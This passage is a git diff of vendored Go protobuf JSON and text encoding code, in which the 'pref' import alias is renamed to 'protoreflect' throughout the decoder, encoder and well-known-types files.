tok.Kind() { case json.Number: return getFloat(tok, bitSize) @@ -414,49 +414,49 @@ func unmarshalFloat(tok json.Token, bitSize int) (pref.Value, bool) { switch s { case "NaN": if bitSize == 32 { - return pref.ValueOfFloat32(float32(math.NaN())), true + return protoreflect.ValueOfFloat32(float32(math.NaN())), true } - return pref.ValueOfFloat64(math.NaN()), true + return protoreflect.ValueOfFloat64(math.NaN()), true case "Infinity": if bitSize == 32 { - return pref.ValueOfFloat32(float32(math.Inf(+1))), true + return protoreflect.ValueOfFloat32(float32(math.Inf(+1))), true } - return pref.ValueOfFloat64(math.Inf(+1)), true + return protoreflect.ValueOfFloat64(math.Inf(+1)), true case "-Infinity": if bitSize == 32 { - return pref.ValueOfFloat32(float32(math.Inf(-1))), true + return protoreflect.ValueOfFloat32(float32(math.Inf(-1))), true } - return pref.ValueOfFloat64(math.Inf(-1)), true + return protoreflect.ValueOfFloat64(math.Inf(-1)), true } // Decode number from string. if len(s) != len(strings.TrimSpace(s)) { - return pref.Value{}, false + return protoreflect.Value{}, false } dec := json.NewDecoder([]byte(s)) tok, err := dec.Read() if err != nil { - return pref.Value{}, false + return protoreflect.Value{}, false } return getFloat(tok, bitSize) } - return pref.Value{}, false + return protoreflect.Value{}, false } -func getFloat(tok json.Token, bitSize int) (pref.Value, bool) { +func getFloat(tok json.Token, bitSize int) (protoreflect.Value, bool) { n, ok := tok.Float(bitSize) if !ok { - return pref.Value{}, false + return protoreflect.Value{}, false } if bitSize == 32 { - return pref.ValueOfFloat32(float32(n)), true + return protoreflect.ValueOfFloat32(float32(n)), true } - return pref.ValueOfFloat64(n), true + return protoreflect.ValueOfFloat64(n), true } -func unmarshalBytes(tok json.Token) (pref.Value, bool) { +func unmarshalBytes(tok json.Token) (protoreflect.Value, bool) { if tok.Kind() != json.String { - return pref.Value{}, false + return protoreflect.Value{}, false } s := tok.ParsedString() @@ -469,36 +469,36 @@ func unmarshalBytes(tok json.Token) (pref.Value, bool) { } b, err := enc.DecodeString(s) if err != nil { - return pref.Value{}, false + return protoreflect.Value{}, false } - return pref.ValueOfBytes(b), true + return protoreflect.ValueOfBytes(b), true } -func unmarshalEnum(tok json.Token, fd pref.FieldDescriptor) (pref.Value, bool) { +func unmarshalEnum(tok json.Token, fd protoreflect.FieldDescriptor) (protoreflect.Value, bool) { switch tok.Kind() { case json.String: // Lookup EnumNumber based on name. s := tok.ParsedString() - if enumVal := fd.Enum().Values().ByName(pref.Name(s)); enumVal != nil { - return pref.ValueOfEnum(enumVal.Number()), true + if enumVal := fd.Enum().Values().ByName(protoreflect.Name(s)); enumVal != nil { + return protoreflect.ValueOfEnum(enumVal.Number()), true } case json.Number: if n, ok := tok.Int(32); ok { - return pref.ValueOfEnum(pref.EnumNumber(n)), true + return protoreflect.ValueOfEnum(protoreflect.EnumNumber(n)), true } case json.Null: // This is only valid for google.protobuf.NullValue. if isNullValue(fd) { - return pref.ValueOfEnum(0), true + return protoreflect.ValueOfEnum(0), true } } - return pref.Value{}, false + return protoreflect.Value{}, false } -func (d decoder) unmarshalList(list pref.List, fd pref.FieldDescriptor) error { +func (d decoder) unmarshalList(list protoreflect.List, fd protoreflect.FieldDescriptor) error { tok, err := d.Read() if err != nil { return err @@ -508,7 +508,7 @@ func (d decoder) unmarshalList(list pref.List, fd pref.FieldDescriptor) error { } switch fd.Kind() { - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: for { tok, err := d.Peek() if err != nil { @@ -549,7 +549,7 @@ func (d decoder) unmarshalList(list pref.List, fd pref.FieldDescriptor) error { return nil } -func (d decoder) unmarshalMap(mmap pref.Map, fd pref.FieldDescriptor) error { +func (d decoder) unmarshalMap(mmap protoreflect.Map, fd protoreflect.FieldDescriptor) error { tok, err := d.Read() if err != nil { return err @@ -561,18 +561,18 @@ func (d decoder) unmarshalMap(mmap pref.Map, fd pref.FieldDescriptor) error { // Determine ahead whether map entry is a scalar type or a message type in // order to call the appropriate unmarshalMapValue func inside the for loop // below. - var unmarshalMapValue func() (pref.Value, error) + var unmarshalMapValue func() (protoreflect.Value, error) switch fd.MapValue().Kind() { - case pref.MessageKind, pref.GroupKind: - unmarshalMapValue = func() (pref.Value, error) { + case protoreflect.MessageKind, protoreflect.GroupKind: + unmarshalMapValue = func() (protoreflect.Value, error) { val := mmap.NewValue() if err := d.unmarshalMessage(val.Message(), false); err != nil { - return pref.Value{}, err + return protoreflect.Value{}, err } return val, nil } default: - unmarshalMapValue = func() (pref.Value, error) { + unmarshalMapValue = func() (protoreflect.Value, error) { return d.unmarshalScalar(fd.MapValue()) } } @@ -618,7 +618,7 @@ Loop: // unmarshalMapKey converts given token of Name kind into a protoreflect.MapKey. // A map key type is any integral or string type. -func (d decoder) unmarshalMapKey(tok json.Token, fd pref.FieldDescriptor) (pref.MapKey, error) { +func (d decoder) unmarshalMapKey(tok json.Token, fd protoreflect.FieldDescriptor) (protoreflect.MapKey, error) { const b32 = 32 const b64 = 64 const base10 = 10 @@ -626,40 +626,40 @@ func (d decoder) unmarshalMapKey(tok json.Token, fd pref.FieldDescriptor) (pref. name := tok.Name() kind := fd.Kind() switch kind { - case pref.StringKind: - return pref.ValueOfString(name).MapKey(), nil + case protoreflect.StringKind: + return protoreflect.ValueOfString(name).MapKey(), nil - case pref.BoolKind: + case protoreflect.BoolKind: switch name { case "true": - return pref.ValueOfBool(true).MapKey(), nil + return protoreflect.ValueOfBool(true).MapKey(), nil case "false": - return pref.ValueOfBool(false).MapKey(), nil + return protoreflect.ValueOfBool(false).MapKey(), nil } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: if n, err := strconv.ParseInt(name, base10, b32); err == nil { - return pref.ValueOfInt32(int32(n)).MapKey(), nil + return protoreflect.ValueOfInt32(int32(n)).MapKey(), nil } - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: if n, err := strconv.ParseInt(name, base10, b64); err == nil { - return pref.ValueOfInt64(int64(n)).MapKey(), nil + return protoreflect.ValueOfInt64(int64(n)).MapKey(), nil } - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: if n, err := strconv.ParseUint(name, base10, b32); err == nil { - return pref.ValueOfUint32(uint32(n)).MapKey(), nil + return protoreflect.ValueOfUint32(uint32(n)).MapKey(), nil } - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: if n, err := strconv.ParseUint(name, base10, b64); err == nil { - return pref.ValueOfUint64(uint64(n)).MapKey(), nil + return protoreflect.ValueOfUint64(uint64(n)).MapKey(), nil } default: panic(fmt.Sprintf("invalid kind for map key: %v", kind)) } - return pref.MapKey{}, d.newError(tok.Pos(), "invalid value for %v key: %s", kind, tok.RawString()) + return protoreflect.MapKey{}, d.newError(tok.Pos(), "invalid value for %v key: %s", kind, tok.RawString()) } diff --git a/vendor/google.golang.org/protobuf/encoding/protojson/encode.go b/vendor/google.golang.org/protobuf/encoding/protojson/encode.go index ba971f078..d09d22e13 100644 --- a/vendor/google.golang.org/protobuf/encoding/protojson/encode.go +++ b/vendor/google.golang.org/protobuf/encoding/protojson/encode.go @@ -18,7 +18,6 @@ import ( "google.golang.org/protobuf/internal/pragma" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -164,8 +163,8 @@ type typeURLFieldRanger struct { typeURL string } -func (m typeURLFieldRanger) Range(f func(pref.FieldDescriptor, pref.Value) bool) { - if !f(typeFieldDesc, pref.ValueOfString(m.typeURL)) { +func (m typeURLFieldRanger) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) { + if !f(typeFieldDesc, protoreflect.ValueOfString(m.typeURL)) { return } m.FieldRanger.Range(f) @@ -173,9 +172,9 @@ func (m typeURLFieldRanger) Range(f func(pref.FieldDescriptor, pref.Value) bool) // unpopulatedFieldRanger wraps a protoreflect.Message and modifies its Range // method to additionally iterate over unpopulated fields. -type unpopulatedFieldRanger struct{ pref.Message } +type unpopulatedFieldRanger struct{ protoreflect.Message } -func (m unpopulatedFieldRanger) Range(f func(pref.FieldDescriptor, pref.Value) bool) { +func (m unpopulatedFieldRanger) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) { fds := m.Descriptor().Fields() for i := 0; i < fds.Len(); i++ { fd := fds.Get(i) @@ -184,10 +183,10 @@ func (m unpopulatedFieldRanger) Range(f func(pref.FieldDescriptor, pref.Value) b } v := m.Get(fd) - isProto2Scalar := fd.Syntax() == pref.Proto2 && fd.Default().IsValid() - isSingularMessage := fd.Cardinality() != pref.Repeated && fd.Message() != nil + isProto2Scalar := fd.Syntax() == protoreflect.Proto2 && fd.Default().IsValid() + isSingularMessage := fd.Cardinality() != protoreflect.Repeated && fd.Message() != nil if isProto2Scalar || isSingularMessage { - v = pref.Value{} // use invalid value to emit null + v = protoreflect.Value{} // use invalid value to emit null } if !f(fd, v) { return @@ -199,7 +198,7 @@ func (m unpopulatedFieldRanger) Range(f func(pref.FieldDescriptor, pref.Value) b // marshalMessage marshals the fields in the given protoreflect.Message. // If the typeURL is non-empty, then a synthetic "@type" field is injected // containing the URL as the value. -func (e encoder) marshalMessage(m pref.Message, typeURL string) error { +func (e encoder) marshalMessage(m protoreflect.Message, typeURL string) error { if !flags.ProtoLegacy && messageset.IsMessageSet(m.Descriptor()) { return errors.New("no support for proto1 MessageSets") } @@ -220,7 +219,7 @@ func (e encoder) marshalMessage(m pref.Message, typeURL string) error { } var err error - order.RangeFields(fields, order.IndexNameFieldOrder, func(fd pref.FieldDescriptor, v pref.Value) bool { + order.RangeFields(fields, order.IndexNameFieldOrder, func(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool { name := fd.JSONName() if e.opts.UseProtoNames { name = fd.TextName() @@ -238,7 +237,7 @@ func (e encoder) marshalMessage(m pref.Message, typeURL string) error { } // marshalValue marshals the given protoreflect.Value. -func (e encoder) marshalValue(val pref.Value, fd pref.FieldDescriptor) error { +func (e encoder) marshalValue(val protoreflect.Value, fd protoreflect.FieldDescriptor) error { switch { case fd.IsList(): return e.marshalList(val.List(), fd) @@ -251,44 +250,44 @@ func (e encoder) marshalValue(val pref.Value, fd pref.FieldDescriptor) error { // marshalSingular marshals the given non-repeated field value. This includes // all scalar types, enums, messages, and groups. -func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error { +func (e encoder) marshalSingular(val protoreflect.Value, fd protoreflect.FieldDescriptor) error { if !val.IsValid() { e.WriteNull() return nil } switch kind := fd.Kind(); kind { - case pref.BoolKind: + case protoreflect.BoolKind: e.WriteBool(val.Bool()) - case pref.StringKind: + case protoreflect.StringKind: if e.WriteString(val.String()) != nil { return errors.InvalidUTF8(string(fd.FullName())) } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: e.WriteInt(val.Int()) - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: e.WriteUint(val.Uint()) - case pref.Int64Kind, pref.Sint64Kind, pref.Uint64Kind, - pref.Sfixed64Kind, pref.Fixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Uint64Kind, + protoreflect.Sfixed64Kind, protoreflect.Fixed64Kind: // 64-bit integers are written out as JSON string. e.WriteString(val.String()) - case pref.FloatKind: + case protoreflect.FloatKind: // Encoder.WriteFloat handles the special numbers NaN and infinites. e.WriteFloat(val.Float(), 32) - case pref.DoubleKind: + case protoreflect.DoubleKind: // Encoder.WriteFloat handles the special numbers NaN and infinites. e.WriteFloat(val.Float(), 64) - case pref.BytesKind: + case protoreflect.BytesKind: e.WriteString(base64.StdEncoding.EncodeToString(val.Bytes())) - case pref.EnumKind: + case protoreflect.EnumKind: if fd.Enum().FullName() == genid.NullValue_enum_fullname { e.WriteNull() } else { @@ -300,7 +299,7 @@ func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error } } - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: if err := e.marshalMessage(val.Message(), ""); err != nil { return err } @@ -312,7 +311,7 @@ func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error } // marshalList marshals the given protoreflect.List. -func (e encoder) marshalList(list pref.List, fd pref.FieldDescriptor) error { +func (e encoder) marshalList(list protoreflect.List, fd protoreflect.FieldDescriptor) error { e.StartArray() defer e.EndArray() @@ -326,12 +325,12 @@ func (e encoder) marshalList(list pref.List, fd pref.FieldDescriptor) error { } // marshalMap marshals given protoreflect.Map. -func (e encoder) marshalMap(mmap pref.Map, fd pref.FieldDescriptor) error { +func (e encoder) marshalMap(mmap protoreflect.Map, fd protoreflect.FieldDescriptor) error { e.StartObject() defer e.EndObject() var err error - order.RangeEntries(mmap, order.GenericKeyOrder, func(k pref.MapKey, v pref.Value) bool { + order.RangeEntries(mmap, order.GenericKeyOrder, func(k protoreflect.MapKey, v protoreflect.Value) bool { if err = e.WriteName(k.String()); err != nil { return false } diff --git a/vendor/google.golang.org/protobuf/encoding/protojson/well_known_types.go b/vendor/google.golang.org/protobuf/encoding/protojson/well_known_types.go index 72924a905..c85f84694 100644 --- a/vendor/google.golang.org/protobuf/encoding/protojson/well_known_types.go +++ b/vendor/google.golang.org/protobuf/encoding/protojson/well_known_types.go @@ -17,14 +17,14 @@ import ( "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) -type marshalFunc func(encoder, pref.Message) error +type marshalFunc func(encoder, protoreflect.Message) error // wellKnownTypeMarshaler returns a marshal function if the message type // has specialized serialization behavior. It returns nil otherwise. -func wellKnownTypeMarshaler(name pref.FullName) marshalFunc { +func wellKnownTypeMarshaler(name protoreflect.FullName) marshalFunc { if name.Parent() == genid.GoogleProtobuf_package { switch name.Name() { case genid.Any_message_name: @@ -58,11 +58,11 @@ func wellKnownTypeMarshaler(name pref.FullName) marshalFunc { return nil } -type unmarshalFunc func(decoder, pref.Message) error +type unmarshalFunc func(decoder, protoreflect.Message) error // wellKnownTypeUnmarshaler returns a unmarshal function if the message type // has specialized serialization behavior. It returns nil otherwise. -func wellKnownTypeUnmarshaler(name pref.FullName) unmarshalFunc { +func wellKnownTypeUnmarshaler(name protoreflect.FullName) unmarshalFunc { if name.Parent() == genid.GoogleProtobuf_package { switch name.Name() { case genid.Any_message_name: @@ -102,7 +102,7 @@ func wellKnownTypeUnmarshaler(name pref.FullName) unmarshalFunc { // custom JSON representation, that representation will be embedded adding a // field `value` which holds the custom JSON in addition to the `@type` field. -func (e encoder) marshalAny(m pref.Message) error { +func (e encoder) marshalAny(m protoreflect.Message) error { fds := m.Descriptor().Fields() fdType := fds.ByNumber(genid.Any_TypeUrl_field_number) fdValue := fds.ByNumber(genid.Any_Value_field_number) @@ -163,7 +163,7 @@ func (e encoder) marshalAny(m pref.Message) error { return nil } -func (d decoder) unmarshalAny(m pref.Message) error { +func (d decoder) unmarshalAny(m protoreflect.Message) error { // Peek to check for json.ObjectOpen to avoid advancing a read. start, err := d.Peek() if err != nil { @@ -233,8 +233,8 @@ func (d decoder) unmarshalAny(m pref.Message) error { fdType := fds.ByNumber(genid.Any_TypeUrl_field_number) fdValue := fds.ByNumber(genid.Any_Value_field_number) - m.Set(fdType, pref.ValueOfString(typeURL)) - m.Set(fdValue, pref.ValueOfBytes(b)) + m.Set(fdType, protoreflect.ValueOfString(typeURL)) + m.Set(fdValue, protoreflect.ValueOfBytes(b)) return nil } @@ -354,7 +354,7 @@ func (d decoder) skipJSONValue() error { // unmarshalAnyValue unmarshals the given custom-type message from the JSON // object's "value" field. -func (d decoder) unmarshalAnyValue(unmarshal unmarshalFunc, m pref.Message) error { +func (d decoder) unmarshalAnyValue(unmarshal unmarshalFunc, m protoreflect.Message) error { // Skip ObjectOpen, and start reading the fields. d.Read() @@ -402,13 +402,13 @@ func (d decoder) unmarshalAnyValue(unmarshal unmarshalFunc, m pref.Message) erro // Wrapper types are encoded as JSON primitives like string, number or boolean. -func (e encoder) marshalWrapperType(m pref.Message) error { +func (e encoder) marshalWrapperType(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.WrapperValue_Value_field_number) val := m.Get(fd) return e.marshalSingular(val, fd) } -func (d decoder) unmarshalWrapperType(m pref.Message) error { +func (d decoder) unmarshalWrapperType(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.WrapperValue_Value_field_number) val, err := d.unmarshalScalar(fd) if err != nil { @@ -420,13 +420,13 @@ func (d decoder) unmarshalWrapperType(m pref.Message) error { // The JSON representation for Empty is an empty JSON object. -func (e encoder) marshalEmpty(pref.Message) error { +func (e encoder) marshalEmpty(protoreflect.Message) error { e.StartObject() e.EndObject() return nil } -func (d decoder) unmarshalEmpty(pref.Message) error { +func (d decoder) unmarshalEmpty(protoreflect.Message) error { tok, err := d.Read() if err != nil { return err @@ -462,12 +462,12 @@ func (d decoder) unmarshalEmpty(pref.Message) error { // The JSON representation for Struct is a JSON object that contains the encoded // Struct.fields map and follows the serialization rules for a map. -func (e encoder) marshalStruct(m pref.Message) error { +func (e encoder) marshalStruct(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.Struct_Fields_field_number) return e.marshalMap(m.Get(fd).Map(), fd) } -func (d decoder) unmarshalStruct(m pref.Message) error { +func (d decoder) unmarshalStruct(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.Struct_Fields_field_number) return d.unmarshalMap(m.Mutable(fd).Map(), fd) } @@ -476,12 +476,12 @@ func (d decoder) unmarshalStruct(m pref.Message) error { // ListValue.values repeated field and follows the serialization rules for a // repeated field. -func (e encoder) marshalListValue(m pref.Message) error { +func (e encoder) marshalListValue(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.ListValue_Values_field_number) return e.marshalList(m.Get(fd).List(), fd) } -func (d decoder) unmarshalListValue(m pref.Message) error { +func (d decoder) unmarshalListValue(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.ListValue_Values_field_number) return d.unmarshalList(m.Mutable(fd).List(), fd) } @@ -490,7 +490,7 @@ func (d decoder) unmarshalListValue(m pref.Message) error { // set. Each of the field in the oneof has its own custom serialization rule. A // Value message needs to be a oneof field set, else it is an error. -func (e encoder) marshalKnownValue(m pref.Message) error { +func (e encoder) marshalKnownValue(m protoreflect.Message) error { od := m.Descriptor().Oneofs().ByName(genid.Value_Kind_oneof_name) fd := m.WhichOneof(od) if fd == nil { @@ -504,19 +504,19 @@ func (e encoder) marshalKnownValue(m pref.Message) error { return e.marshalSingular(m.Get(fd), fd) } -func (d decoder) unmarshalKnownValue(m pref.Message) error { +func (d decoder) unmarshalKnownValue(m protoreflect.Message) error { tok, err := d.Peek() if err != nil { return err } - var fd pref.FieldDescriptor - var val pref.Value + var fd protoreflect.FieldDescriptor + var val protoreflect.Value switch tok.Kind() { case json.Null: d.Read() fd = m.Descriptor().Fields().ByNumber(genid.Value_NullValue_field_number) - val = pref.ValueOfEnum(0) + val = protoreflect.ValueOfEnum(0) case json.Bool: tok, err := d.Read() @@ -524,7 +524,7 @@ func (d decoder) unmarshalKnownValue(m pref.Message) error { return err } fd = m.Descriptor().Fields().ByNumber(genid.Value_BoolValue_field_number) - val = pref.ValueOfBool(tok.Bool()) + val = protoreflect.ValueOfBool(tok.Bool()) case json.Number: tok, err := d.Read() @@ -550,7 +550,7 @@ func (d decoder) unmarshalKnownValue(m pref.Message) error { return err } fd = m.Descriptor().Fields().ByNumber(genid.Value_StringValue_field_number) - val = pref.ValueOfString(tok.ParsedString()) + val = protoreflect.ValueOfString(tok.ParsedString()) case json.ObjectOpen: fd = m.Descriptor().Fields().ByNumber(genid.Value_StructValue_field_number) @@ -591,7 +591,7 @@ const ( maxSecondsInDuration = 315576000000 ) -func (e encoder) marshalDuration(m pref.Message) error { +func (e encoder) marshalDuration(m protoreflect.Message) error { fds := m.Descriptor().Fields() fdSeconds := fds.ByNumber(genid.Duration_Seconds_field_number) fdNanos := fds.ByNumber(genid.Duration_Nanos_field_number) @@ -623,7 +623,7 @@ func (e encoder) marshalDuration(m pref.Message) error { return nil } -func (d decoder) unmarshalDuration(m pref.Message) error { +func (d decoder) unmarshalDuration(m protoreflect.Message) error { tok, err := d.Read() if err != nil { return err @@ -646,8 +646,8 @@ func (d decoder) unmarshalDuration(m pref.Message) error { fdSeconds := fds.ByNumber(genid.Duration_Seconds_field_number) fdNanos := fds.ByNumber(genid.Duration_Nanos_field_number) - m.Set(fdSeconds, pref.ValueOfInt64(secs)) - m.Set(fdNanos, pref.ValueOfInt32(nanos)) + m.Set(fdSeconds, protoreflect.ValueOfInt64(secs)) + m.Set(fdNanos, protoreflect.ValueOfInt32(nanos)) return nil } @@ -779,7 +779,7 @@ const ( minTimestampSeconds = -62135596800 ) -func (e encoder) marshalTimestamp(m pref.Message) error { +func (e encoder) marshalTimestamp(m protoreflect.Message) error { fds := m.Descriptor().Fields() fdSeconds := fds.ByNumber(genid.Timestamp_Seconds_field_number) fdNanos := fds.ByNumber(genid.Timestamp_Nanos_field_number) @@ -805,7 +805,7 @@ func (e encoder) marshalTimestamp(m pref.Message) error { return nil } -func (d decoder) unmarshalTimestamp(m pref.Message) error { +func (d decoder) unmarshalTimestamp(m protoreflect.Message) error { tok, err := d.Read() if err != nil { return err @@ -829,8 +829,8 @@ func (d decoder) unmarshalTimestamp(m pref.Message) error { fdSeconds := fds.ByNumber(genid.Timestamp_Seconds_field_number) fdNanos := fds.ByNumber(genid.Timestamp_Nanos_field_number) - m.Set(fdSeconds, pref.ValueOfInt64(secs)) - m.Set(fdNanos, pref.ValueOfInt32(int32(t.Nanosecond()))) + m.Set(fdSeconds, protoreflect.ValueOfInt64(secs)) + m.Set(fdNanos, protoreflect.ValueOfInt32(int32(t.Nanosecond()))) return nil } @@ -839,14 +839,14 @@ func (d decoder) unmarshalTimestamp(m pref.Message) error { // lower-camel naming conventions. Encoding should fail if the path name would // end up differently after a round-trip. -func (e encoder) marshalFieldMask(m pref.Message) error { +func (e encoder) marshalFieldMask(m protoreflect.Message) error { fd := m.Descriptor().Fields().ByNumber(genid.FieldMask_Paths_field_number) list := m.Get(fd).List() paths := make([]string, 0, list.Len()) for i := 0; i < list.Len(); i++ { s := list.Get(i).String() - if !pref.FullName(s).IsValid() { + if !protoreflect.FullName(s).IsValid() { return errors.New("%s contains invalid path: %q", genid.FieldMask_Paths_field_fullname, s) } // Return error if conversion to camelCase is not reversible. @@ -861,7 +861,7 @@ func (e encoder) marshalFieldMask(m pref.Message) error { return nil } -func (d decoder) unmarshalFieldMask(m pref.Message) error { +func (d decoder) unmarshalFieldMask(m protoreflect.Message) error { tok, err := d.Read() if err != nil { return err @@ -880,10 +880,10 @@ func (d decoder) unmarshalFieldMask(m pref.Message) error { for _, s0 := range paths { s := strs.JSONSnakeCase(s0) - if strings.Contains(s0, "_") || !pref.FullName(s).IsValid() { + if strings.Contains(s0, "_") || !protoreflect.FullName(s).IsValid() { return d.newError(tok.Pos(), "%v contains invalid path: %q", genid.FieldMask_Paths_field_fullname, s0) } - list.Append(pref.ValueOfString(s)) + list.Append(protoreflect.ValueOfString(s)) } return nil } diff --git a/vendor/google.golang.org/protobuf/encoding/prototext/decode.go b/vendor/google.golang.org/protobuf/encoding/prototext/decode.go index 179d6e8fc..4921b2d4a 100644 --- a/vendor/google.golang.org/protobuf/encoding/prototext/decode.go +++ b/vendor/google.golang.org/protobuf/encoding/prototext/decode.go @@ -17,7 +17,7 @@ import ( "google.golang.org/protobuf/internal/set" "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -103,7 +103,7 @@ func (d decoder) syntaxError(pos int, f string, x ...interface{}) error { } // unmarshalMessage unmarshals into the given protoreflect.Message. -func (d decoder) unmarshalMessage(m pref.Message, checkDelims bool) error { +func (d decoder) unmarshalMessage(m protoreflect.Message, checkDelims bool) error { messageDesc := m.Descriptor() if !flags.ProtoLegacy && messageset.IsMessageSet(messageDesc) { return errors.New("no support for proto1 MessageSets") @@ -150,24 +150,24 @@ func (d decoder) unmarshalMessage(m pref.Message, checkDelims bool) error { } // Resolve the field descriptor. - var name pref.Name - var fd pref.FieldDescriptor - var xt pref.ExtensionType + var name protoreflect.Name + var fd protoreflect.FieldDescriptor + var xt protoreflect.ExtensionType var xtErr error var isFieldNumberName bool switch tok.NameKind() { case text.IdentName: - name = pref.Name(tok.IdentName()) + name = protoreflect.Name(tok.IdentName()) fd = fieldDescs.ByTextName(string(name)) case text.TypeName: // Handle extensions only. This code path is not for Any. - xt, xtErr = d.opts.Resolver.FindExtensionByName(pref.FullName(tok.TypeName())) + xt, xtErr = d.opts.Resolver.FindExtensionByName(protoreflect.FullName(tok.TypeName())) case text.FieldNumber: isFieldNumberName = true - num := pref.FieldNumber(tok.FieldNumber()) + num := protoreflect.FieldNumber(tok.FieldNumber()) if !num.IsValid() { return d.newError(tok.Pos(), "invalid field number: %d", num) } @@ -215,7 +215,7 @@ func (d decoder) unmarshalMessage(m pref.Message, checkDelims bool) error { switch { case fd.IsList(): kind := fd.Kind() - if kind != pref.MessageKind && kind != pref.GroupKind && !tok.HasSeparator() { + if kind != protoreflect.MessageKind && kind != protoreflect.GroupKind && !tok.HasSeparator() { return d.syntaxError(tok.Pos(), "missing field separator :") } @@ -232,7 +232,7 @@ func (d decoder) unmarshalMessage(m pref.Message, checkDelims bool) error { default: kind := fd.Kind() - if kind != pref.MessageKind && kind != pref.GroupKind && !tok.HasSeparator() { + if kind != protoreflect.MessageKind && kind != protoreflect.GroupKind && !tok.HasSeparator() { return d.syntaxError(tok.Pos(), "missing field separator :") } @@ -262,11 +262,11 @@ func (d decoder) unmarshalMessage(m pref.Message, checkDelims bool) error { // unmarshalSingular unmarshals a non-repeated field value specified by the // given FieldDescriptor. -func (d decoder) unmarshalSingular(fd pref.FieldDescriptor, m pref.Message) error { - var val pref.Value +func (d decoder) unmarshalSingular(fd protoreflect.FieldDescriptor, m protoreflect.Message) error { + var val protoreflect.Value var err error switch fd.Kind() { - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: val = m.NewField(fd) err = d.unmarshalMessage(val.Message(), true) default: @@ -280,94 +280,94 @@ func (d decoder) unmarshalSingular(fd pref.FieldDescriptor, m pref.Message) erro // unmarshalScalar unmarshals a scalar/enum protoreflect.Value specified by the // given FieldDescriptor. -func (d decoder) unmarshalScalar(fd pref.FieldDescriptor) (pref.Value, error) { +func (d decoder) unmarshalScalar(fd protoreflect.FieldDescriptor) (protoreflect.Value, error) { tok, err := d.Read() if err != nil { - return pref.Value{}, err + return protoreflect.Value{}, err } if tok.Kind() != text.Scalar { - return pref.Value{}, d.unexpectedTokenError(tok) + return protoreflect.Value{}, d.unexpectedTokenError(tok) } kind := fd.Kind() switch kind { - case pref.BoolKind: + case protoreflect.BoolKind: if b, ok := tok.Bool(); ok { - return pref.ValueOfBool(b), nil + return protoreflect.ValueOfBool(b), nil } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: if n, ok := tok.Int32(); ok { - return pref.ValueOfInt32(n), nil + return protoreflect.ValueOfInt32(n), nil } - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: if n, ok := tok.Int64(); ok { - return pref.ValueOfInt64(n), nil + return protoreflect.ValueOfInt64(n), nil } - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: if n, ok := tok.Uint32(); ok { - return pref.ValueOfUint32(n), nil + return protoreflect.ValueOfUint32(n), nil } - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: if n, ok := tok.Uint64(); ok { - return pref.ValueOfUint64(n), nil + return protoreflect.ValueOfUint64(n), nil } - case pref.FloatKind: + case protoreflect.FloatKind: if n, ok := tok.Float32(); ok { - return pref.ValueOfFloat32(n), nil + return protoreflect.ValueOfFloat32(n), nil } - case pref.DoubleKind: + case protoreflect.DoubleKind: if n, ok := tok.Float64(); ok { - return pref.ValueOfFloat64(n), nil + return protoreflect.ValueOfFloat64(n), nil } - case pref.StringKind: + case protoreflect.StringKind: if s, ok := tok.String(); ok { if strs.EnforceUTF8(fd) && !utf8.ValidString(s) { - return pref.Value{}, d.newError(tok.Pos(), "contains invalid UTF-8") + return protoreflect.Value{}, d.newError(tok.Pos(), "contains invalid UTF-8") } - return pref.ValueOfString(s), nil + return protoreflect.ValueOfString(s), nil } - case pref.BytesKind: + case protoreflect.BytesKind: if b, ok := tok.String(); ok { - return pref.ValueOfBytes([]byte(b)), nil + return protoreflect.ValueOfBytes([]byte(b)), nil } - case pref.EnumKind: + case protoreflect.EnumKind: if lit, ok := tok.Enum(); ok { // Lookup EnumNumber based on name. - if enumVal := 